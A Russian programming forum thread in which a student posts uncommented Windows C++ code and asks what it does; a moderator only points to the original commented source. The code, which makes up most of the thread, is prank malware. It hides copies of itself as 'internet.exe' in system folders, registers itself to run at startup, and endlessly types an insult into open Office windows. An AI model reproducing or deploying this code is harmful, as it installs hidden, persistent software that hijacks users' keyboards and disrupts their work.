Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 06.04.2017, 20:36   #1
MoonLight13
Новичок
Джуниор
 
Регистрация: 06.04.2017
Сообщений: 3
Сообщение Что это за код?

Помогите разобраться в коде(нужны комментарии к строкам кода)
Код:
#include <windows.h>
#include <iostream.h>

WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

HKEY key;
char sysdir[256],
windir[256],
myname[256];

GetModuleFileName(hint,myname,256);
GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir)); 

strcat(windir,”\\internet.exe”);
strcat(sysdir,”\\internet.exe”);

CopyFile(myname,windir,FALSE);
CopyFile(myname,sysdir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\CurrentVersion\\Run”, 0,KEY_WRITE, &key);
RegSetValueEx(key,”internet.exe”,0,REG_SZ,(BYTE *)sysdir,256);
RegCloseKey(key); 

Sleep(60000*2); 
int k=0;
do
{
if (FindWindow(NULL, “Microsoft Word”)!=0 || FindWindow(NULL, “Microsoft Excel”)!=0 || FindWindow(NULL, “Microsoft PowerPoint”)!=0)
{
ShowWindow(FindWindow(NULL, “Microsoft Word”) , SC_MAXIMIZE);
LoadKeyboardLayout(”00000419″, KLF_ACTIVATE);
Sleep(10000);
do
{
keybd_event(’D', 0,0,0);
keybd_event(’D', 0,KEYEVENTF_KEYUP,0);
keybd_event(’S', 0,0,0);
keybd_event(’S', 0,KEYEVENTF_KEYUP,0);
keybd_event(VK_SPACE, 0,0,0);
keybd_event(VK_SPACE, 0,KEYEVENTF_KEYUP,0);
keybd_event(’K', 0,0,0);
keybd_event(’K', 0,KEYEVENTF_KEYUP,0);
keybd_event(’F', 0,0,0);
keybd_event(’F', 0,KEYEVENTF_KEYUP,0);
keybd_event(’V', 0,0,0);
keybd_event(’V', 0,KEYEVENTF_KEYUP,0);
keybd_event(’T', 0,0,0);
keybd_event(’T', 0,KEYEVENTF_KEYUP,0);
keybd_event(’H', 0,0,0);
keybd_event(’H', 0,KEYEVENTF_KEYUP,0);
}while(1);
}
}while(1);
}
______________________
Используйте тег [CODE] (кнопка с решеткой # в форме сообщения) при вставке кода на форум.

Последний раз редактировалось Alex11223; 06.04.2017 в 20:40.
MoonLight13 вне форума Ответить с цитированием
Старый 06.04.2017, 20:39   #2
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

К каким и что именно непонятно?
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.
Alex11223 вне форума Ответить с цитированием
Старый 06.04.2017, 21:15   #3
MoonLight13
Новичок
Джуниор
 
Регистрация: 06.04.2017
Сообщений: 3
Сообщение

непонятно что делает этот код, комментарии желательно ко всем основным строкам)
MoonLight13 вне форума Ответить с цитированием
Старый 06.04.2017, 21:23   #4
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

Что именно непонятно?
Если ничего непонятно, то вам не помогут комментарии к строкам, изучайте основы С и WinAPI.

И они вообще-то были изначально.
http://jeyhunalekberov.blogspot.com/...ance-hint.html
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.
Alex11223 вне форума Ответить с цитированием
Старый 06.04.2017, 21:36   #5
MoonLight13
Новичок
Джуниор
 
Регистрация: 06.04.2017
Сообщений: 3
Сообщение

спасибо)
MoonLight13 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
коллеги это редирект или что означает этот код ссылки? nikytt JavaScript, Ajax 1 28.06.2016 20:28
как сделать чтоб писало что это первая функция и что это вторая как сделать? при компляции Uourin Общие вопросы C/C++ 3 19.05.2016 08:09
надо при компиляции чтоб писало что это первая функция и что это вторая как сделать? Uourin Помощь студентам 0 18.05.2016 20:24
Что это ? Что и как делает этот код? Dimka-novitsek Общие вопросы C/C++ 1 03.05.2015 01:57
Эквалайзер...что это? кто это? Можно ли с ним подружиться? .Phoenix Мультимедиа в Delphi 45 08.04.2010 23:37